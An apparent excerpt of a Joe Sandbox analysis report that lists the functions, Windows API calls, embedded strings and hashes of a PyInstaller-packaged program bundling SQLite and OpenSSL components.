Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\statem_clnt.c$SHA2-256$resumption$tls_process_new_session_ticket
API String ID: 3568877910-1635961163
Opcode ID: b87feab1bb37d1f7e894d0b6f0c64973d7e3dc1ff34bf6278c2bc73ec1ca2133
Instruction ID: 8bc84e7e448ad9061fb9ed37595aea3efc8435766db97857e59cd6deae27dd6c
Opcode Fuzzy Hash: b87feab1bb37d1f7e894d0b6f0c64973d7e3dc1ff34bf6278c2bc73ec1ca2133
Instruction Fuzzy Hash: 8502C632A0AB8281E7A4AF15E4407BD77A1FB84B84F48813ADB8D477A9DF3CE545C701

Function 00007FF6B7508ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508F5A

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7508FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7509044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B7509055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6B7503FB1), ref: 00007FF6B750906A

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 9fe932e7894e609dc6cbd0b8133375de173c3dd386a6ad6ff7ae69a523ee9496
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: 26419E63B1D68281EA309B1AA5106BA73A5FB85BC8F444135DF8D97BE9DF3CE501CB00

Function 00007FFE01366680 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 338COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01366812
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01366A9E

Strings

unknown column "%s" in foreign key definition, xrefs: 00007FFE01366A2E
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFE0136672E
foreign key on %s should reference only one column of table %T, xrefs: 00007FFE01366705

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 4225454184-272990098
Opcode ID: e106108478e0651f8ddcd15e3868f0302f0a4d72454fda0a44bbba454c54d922
Instruction ID: df3edeea58f236480df521415e573ea3b17efda43eff893cb034913c96ae2533
Opcode Fuzzy Hash: e106108478e0651f8ddcd15e3868f0302f0a4d72454fda0a44bbba454c54d922
Instruction Fuzzy Hash: 8BD1F1E2A09B8282EB25CB16D4556BD7BA1FB85BC4F468135DE5E0B7A5DF3CE441C300

Function 00007FF6B75090E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7508570: GetCurrentProcess.KERNEL32 ref: 00007FF6B7508590
Part of subcall function 00007FF6B7508570: OpenProcessToken.ADVAPI32 ref: 00007FF6B75085A3
Part of subcall function 00007FF6B7508570: GetTokenInformation.ADVAPI32 ref: 00007FF6B75085C8
Part of subcall function 00007FF6B7508570: GetLastError.KERNEL32 ref: 00007FF6B75085D2
Part of subcall function 00007FF6B7508570: GetTokenInformation.ADVAPI32 ref: 00007FF6B7508612
Part of subcall function 00007FF6B7508570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6B750862E
Part of subcall function 00007FF6B7508570: CloseHandle.KERNEL32 ref: 00007FF6B7508646

LocalFree.KERNEL32(?,00007FF6B7503C55), ref: 00007FF6B750916C
LocalFree.KERNEL32(?,00007FF6B7503C55), ref: 00007FF6B7509175

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6B7509142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6B7509183
S-1-3-4, xrefs: 00007FF6B7509121
D:(A;;FA;;;%s), xrefs: 00007FF6B7509157

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: b448f9862ad4b2578966b4992cc4363d812fab8a517ea80ecd4279cba33f4c89
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: DE212D72A0CB8295F650AB14E5156EA6361FF88784F444036EB4DD37E6DF3CE9458780

Function 00007FFE013255D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01325985
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0132599A

Strings

%s at line %d of [%.10s], xrefs: 00007FFE0132562D
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFE01325615
database corruption, xrefs: 00007FFE01325621

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 4225454184-3727861699
Opcode ID: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
Instruction ID: 60b03a799f6db5aed12a9fdf19419178b4bea0e7d4f402f1cd5e2f1220cbba0d
Opcode Fuzzy Hash: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
Instruction Fuzzy Hash: AED1CD72B0878586EB60DF29E0447A9B7A1FB94B94F564032DE8D4B7A4EF3CD940CB41

Function 00007FF6B751B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B30D
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B33A
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B34B
FlsSetValue.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B35C
SetLastError.KERNEL32(?,?,?,00007FF6B7514F11,?,?,?,?,00007FF6B751A48A,?,?,?,?,00007FF6B751718F), ref: 00007FF6B751B377

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction ID: 8f0d45b7c7eba19b6f41621ab2dad24c1d84020922bbc82c8f4d57c986d1eaa5
Opcode Fuzzy Hash: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction Fuzzy Hash: FA119322F0D66682FA556B3D5A4113D62929F44BB2F044734DB6FC7EF6DE2CA8518300

Function 00007FFE01321040 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 253COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01321317
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01321385

Strings

%s at line %d of [%.10s], xrefs: 00007FFE013210DA
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFE013210C2
database corruption, xrefs: 00007FFE013210CE

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 4225454184-3727861699
Opcode ID: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
Instruction ID: 6c0ccbc803075c2c03fcf5ec8b9e73aa304961c05cb9ce2ec6932a6695fb6f6f
Opcode Fuzzy Hash: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
Instruction Fuzzy Hash: 83A13673A0C2D186D7249B19D5806BE7FA2FB91781F164236DB8E8B7A1DE3CE045CB11

Function 00007FFE01328690 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 211COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0132884C
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01328951

Strings

%s at line %d of [%.10s], xrefs: 00007FFE01328746
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFE0132872C
database corruption, xrefs: 00007FFE0132873F

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 4225454184-3727861699
Opcode ID: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
Instruction ID: 575dd05fe6571a49196f422d47881cce37dec073e25f4e831228c926f50ad2d1
Opcode Fuzzy Hash: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
Instruction Fuzzy Hash: 4D91D272B082C18AD724DB2AD1806BD7BE0FB54B84F068176DB8D8B6A5DF3CE465C741

Function 00007FFE0132B070 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE013298B0: 00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0132991D
Part of subcall function 00007FFE013298B0: 00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01329944

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0132B2F3
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0132B309

Strings

%s at line %d of [%.10s], xrefs: 00007FFE0132B137
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFE0132B117
database corruption, xrefs: 00007FFE0132B130

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 4225454184-3727861699
Opcode ID: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
Instruction ID: dee71f65eb457348a94a9745fed1b78a1afe84f3965f3cd9ff4b19bfe8ba4291
Opcode Fuzzy Hash: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
Instruction Fuzzy Hash: 9281DD32A0878287E760AF25D4447AEB7A1FB55B84F068036EB8D4B7A5DF3CE445C701

Function 00007FF6B7502910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6B7501B6A), ref: 00007FF6B750295E

Strings

%s: %s, xrefs: 00007FF6B75029E8
[PYI-%d:ERROR] , xrefs: 00007FF6B7502966
Error [ANSI Fallback], xrefs: 00007FF6B75029FF
Error, xrefs: 00007FF6B7502A0E

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 1b6fb42ce5781a95a3f00f5674bc150965e2f73fdbac7012c130e31c6e47e7c1
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: F731D623B1C68552E7209B69A8506EA6394BF887D8F400136FF8DC3769EF3CD546C600

Function 00007FF6B7502390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6B75023C8
DialogBoxIndirectParamW.USER32 ref: 00007FF6B750248E
DeleteObject.GDI32 ref: 00007FF6B75024C1
DestroyIcon.USER32 ref: 00007FF6B75024D3

Strings

Unhandled exception in script, xrefs: 00007FF6B75023F8

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 4f478c84f023a6a7181d3303189d0353c13e641d5c7a72d187cd9806adca5729
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: A1313D73A1DA8289EB209F29E8552F96360FF88788F440135EB4D8BB69DF3CD105C700

Function 00007FF6B7502B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF6B750918F,?,00007FF6B7503C55), ref: 00007FF6B7502BA0
MessageBoxW.USER32 ref: 00007FF6B7502C2A

Strings

Warning, xrefs: 00007FF6B7502C1D
WARNING, xrefs: 00007FF6B7502BAF
[PYI-%d:%ls] , xrefs: 00007FF6B7502BA8

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: da72ecbf80f5627dc225b90cb88e59fe1ea355414a45e7108239bb43256e7ea2
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 3121A16370CB8142E7219B58F8447EA73A4FB88784F400136EF8D97665EE3CE645C740

Function 00007FF6B7502710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6B7501B99), ref: 00007FF6B7502760

Strings

[PYI-%d:%s] , xrefs: 00007FF6B7502768
ERROR, xrefs: 00007FF6B750276F
Error [ANSI Fallback], xrefs: 00007FF6B75027CF
Error, xrefs: 00007FF6B75027DE

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: d27cc552cf225ce873c0c471e34702811d2bfd65f2871a6c7cb8a80559a5c1e7
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: A5218173A1CB8142E7209B58B8417EA63A4FB88384F400136FF8D93669EF7CD2458740

Function 00007FF6B7519A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6B7519AAD
GetProcAddress.KERNEL32 ref: 00007FF6B7519AC3
FreeLibrary.KERNEL32 ref: 00007FF6B7519AEA

Strings

mscoree.dll, xrefs: 00007FF6B7519AA4
CorExitProcess, xrefs: 00007FF6B7519ABC

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: c11d35822f8e28045bc73a05a74d7cffedf6ea7700be129f990a706eb62ee28a
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: C7F06263B0DB4681EA108B28E48477A6330AF45761F540239D7AE865F4EF2CE188C340

Function 00007FF6B7529368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6B7529390
_set_statfp.LIBCMT ref: 00007FF6B75293AB
_set_statfp.LIBCMT ref: 00007FF6B75293C7
_set_statfp.LIBCMT ref: 00007FF6B7529403

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 0b5d01ae10140f2002900cd2911e13b10286858eadec77d9e4a0ea4370827437
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: C0111F23E5CA0F42FA68136EE4A63791150AF69364F144634EBAEF67FACF6CA8414100

Function 00007FF6B751B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6B751A5A3,?,?,00000000,00007FF6B751A83E,?,?,?,?,?,00007FF6B751A7CA), ref: 00007FF6B751B3AF
